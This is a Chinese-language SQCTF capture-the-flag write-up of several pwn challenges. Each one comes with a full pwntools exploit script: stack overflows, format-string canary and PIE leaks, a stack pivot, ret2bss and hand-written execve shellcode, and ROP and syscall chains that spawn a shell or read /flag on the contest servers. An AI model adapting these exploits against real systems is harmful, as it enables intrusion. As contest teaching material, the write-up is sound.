SQCTF pwn方向部分wp
你好哇,除了一个混杂了misc的pwn没写,其他的思路和writeup都写在这里了
题目总体还是偏基础的,如果不懂可以exp+gdb调调看。
浅红欺醉粉,肯信有江梅
天哪好花哨的名字
输入nc balabala就有shell啦,然后愉快地ls cat flag便可
cat
主函数里有一个危险的gets
只要我们输入一个很长的字符串,就进backdoor啦
exp:"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
pwn03

如图,通过栈上fmt泄露canary和pie
然后构造栈迁移,填入binsh,注意binsh要填在栈的下方而非上方,否则会被覆盖
exp:
from pwn import *
filename='./pwn03'
# libc=
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
# p=process(filename)
p=remote('challenge.qsnctf.com',30988)
e=ELF(filename)
# libc=ELF(libc)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
# gdb.attach(p,'go')
pay="%11$p%15$p"
sl(pay)
p.recvuntil('0x')
canary=int(p.recvuntil("0x",drop=True),16)
pie=int(p.recvline(keepends=False),16)-0x125b
rdi=0x0000000000001245+pie
saddr=e.plt['system']+pie
bss=e.bss(0xF08)+pie
pay2=b'x'*8+p64(canary)+p64(bss)+p64(0x11f1+pie)
s(pay2)
pause()
pay3=b'x'*8+p64(canary)+p64(bss+8)+p64(0x11f1+pie)
s(pay3)
binsh=bss+0x10
pay4=p64(rdi)+p64(binsh)+p64(saddr)+b'/bin/sh\x00'
pause()
s(pay4)
p.interactive()
gift
简单的ret2backdoor题目
第一次打发现没打通,猜测是system没有对对齐,跳过push rbp后成功打通
from pwn import *
filename='./gift'
# libc=
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
p=remote('challenge.qsnctf.com',31741)
# p=process(filename)
e=ELF(filename)
# libc=ELF(libc)
context.log_level='debug'
# context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
# gdb.attach(p)
pay=b'x'*72+p64(0x4011bb)*8
sl(pay)
p.interactive()
#p=remote()
bad
init_memory初始化bss段为rwx,直接shellcraft写sh在ret2bss即可
注意用了memcpy,不可以填充\x00哦,这里我选择健康的\x90(nop)
虽然填nop没什么意义就是了,执行到nop说明100%没打通
exp:
from pwn import *
filename='./bad'
# libc=
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
# p=process(filename)
p=remote('challenge.qsnctf.com',31424)
e=ELF(filename)
# libc=ELF(libc)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
# gdb.attach(p)
pay=asm(shellcraft.sh())
pay=pay.ljust(72,b'\x90')+p64(0x4040A0)
sl(pay)
p.interactive()
#p=remote()
pwn01 - 当时只道是寻常
因为忘记了srop,展示无srop打法
初始情况下,开满三个fd,分别是stdin,stdout,stderr
dup stdin 0 -> 3 #防止close1后直接eof退出
dup2 stdout 0 <- 1 #给openat留出位置
close -- 1 #给openat留出位置
openat ++ 1 #openat使用rsi传参,当rsi为绝对路径时,rdi可以忽略
#由于我们没有任意读,所以必须在栈上构造filename,也就是
在rbp所在的地方写入filename
read 1 #前面煞费苦心地迁移fd,就是为了在这里read用的
为了可以读文件且程序不崩溃,我们必须保证以下几个条件
rsi必须不在栈上,否则会覆盖我们的rop链子
那么rdi必须为1,因为我们要控制rsi就无法控制rdi
rdi为1那么stdout必须移动到别的地方,在本题中,
我们无法控制除了0和1以外的任何fd,而我们最后必须
write stdout输出,也就是此时0必须是stdout
但是直接关了stdin会导致broken pipe程序立马崩溃
所以必须用dup stdin来把文件描述符传出去
由于智能指针的性质,此时stdin不会被系统回收,
程序也不会崩溃,我们就能顺利readflag到指定位置
并最后重新把它输出出来
dup2 stdout 0 -> 1
write 1 #同之前分析相同,若要控制rdi=0就无法控制rsi,而
我们的flag是写到bss上的,所以必须dup2 stdout到1
最后成功输出flag
exp:
from pwn import *
filename='./pwn01'
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
p=remote('challenge.qsnctf.com',31683)
e=ELF(filename)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
ret=0x0000000000401048
rsi_rax=0x0000000000401049
rax=0x000000000040104a
binsh=0x000000000402039+1
sys_rbp=0x401045
pay=b'deadbeaf'
pay+=p64(rax)+p64(0x20)+p64(0x401024)+p64(0)
pay+=p64(rsi_rax)+p64(0)+p64(0x21)+p64(sys_rbp)+p64(0)
pay+=p64(rax)+p64(3)+p64(sys_rbp)+p64(0)
pay+=p64(rax)+p64(0x101)+p64(0x0401024)+b'/flag\x00\x00\x00'
pay+=p64(rsi_rax)+p64(e.bss(0x400))+p64(0)+p64(0x40102C)+p64(0)
pay+=p64(rax)+p64(3)+p64(sys_rbp)+p64(0)
pay+=p64(rax)+p64(0x20)+p64(0x401024)+p64(0)
pay+=p64(rax)+p64(1)+p64(sys_rbp)+p64(0)
pay+=p64(rsi_rax)+p64(e.bss(0x400))+p64(1)+p64(0x401018)
s(pay)
p.interactive()
#p=remote()
pwn - 被酒莫惊春睡重
简单栈溢出+ret2syscall呀
from pwn import *
filename='./pwn'
# libc=
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
# p=process(filename)
p=remote('challenge.qsnctf.com',30135)
e=ELF(filename)
# libc=ELF(libc)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
# gdb.attach(p)
rdx_rsi_rdi_rax=0x00000000004011e0
sret=0x00000000004011ec
pay=b'x'*0x48+p64(rdx_rsi_rdi_rax)+p64(0x10)+p64(e.bss(0x220))+p64(0)+p64(0)+p64(sret)
pay+=p64(rdx_rsi_rdi_rax)+p64(0)+p64(0)+p64(e.bss(0x220))+p64(0x3b)+p64(sret)
sla('请输入你的名字: ',pay)
sa('0x','/bin/sh\x00')
p.interactive()
#p=remote()
pwn02 - 赌书消得泼茶香
简单栈溢出,记得后面多填一点东西,不然\x00写不满
from pwn import *
filename='./pwn02'
# libc=
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
p=remote('challenge.qsnctf.com',32710)
# p=process(filename)
e=ELF(filename)
# libc=ELF(libc)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
# gdb.attach(p)
back=0x401422
pay=b'x'*0x68+p64(back)*2
import base64
sl(base64.b64encode(pay))
p.interactive()
pwn01 - 我觉君非池中物,咫尺蛟龙云雨
一个简单的写shellcode题,条件也很宽松呀
from pwn import *
filename='./pwn'
# libc=
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
# p=process(filename)
p=remote('challenge.qsnctf.com',31424)
e=ELF(filename)
# libc=ELF(libc)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
# gdb.attach(p)
pay=asm('''
nop;
mov rax,0x68732f6e69622f;
push rax;
mov rdi,rsp;
xor edx,edx;
xor esi,esi;
mov eax,0x3b
syscall
''')
sl(pay)
p.interactive()
#p=remote()
key - 借的东风破金锁
甚至不是栈溢出,ida看一眼key就做完了
from pwn import *
filename='./key'
# libc=
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
# p=process(filename)
p=remote('challenge.qsnctf.com',31746)
e=ELF(filename)
# libc=ELF(libc)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
# gdb.attach(p)
s('FTCUNQS\x00\x00')
p.interactive()
damn
什么,misc没写出来所以不看了(躺

浙公网安备 33010602011771号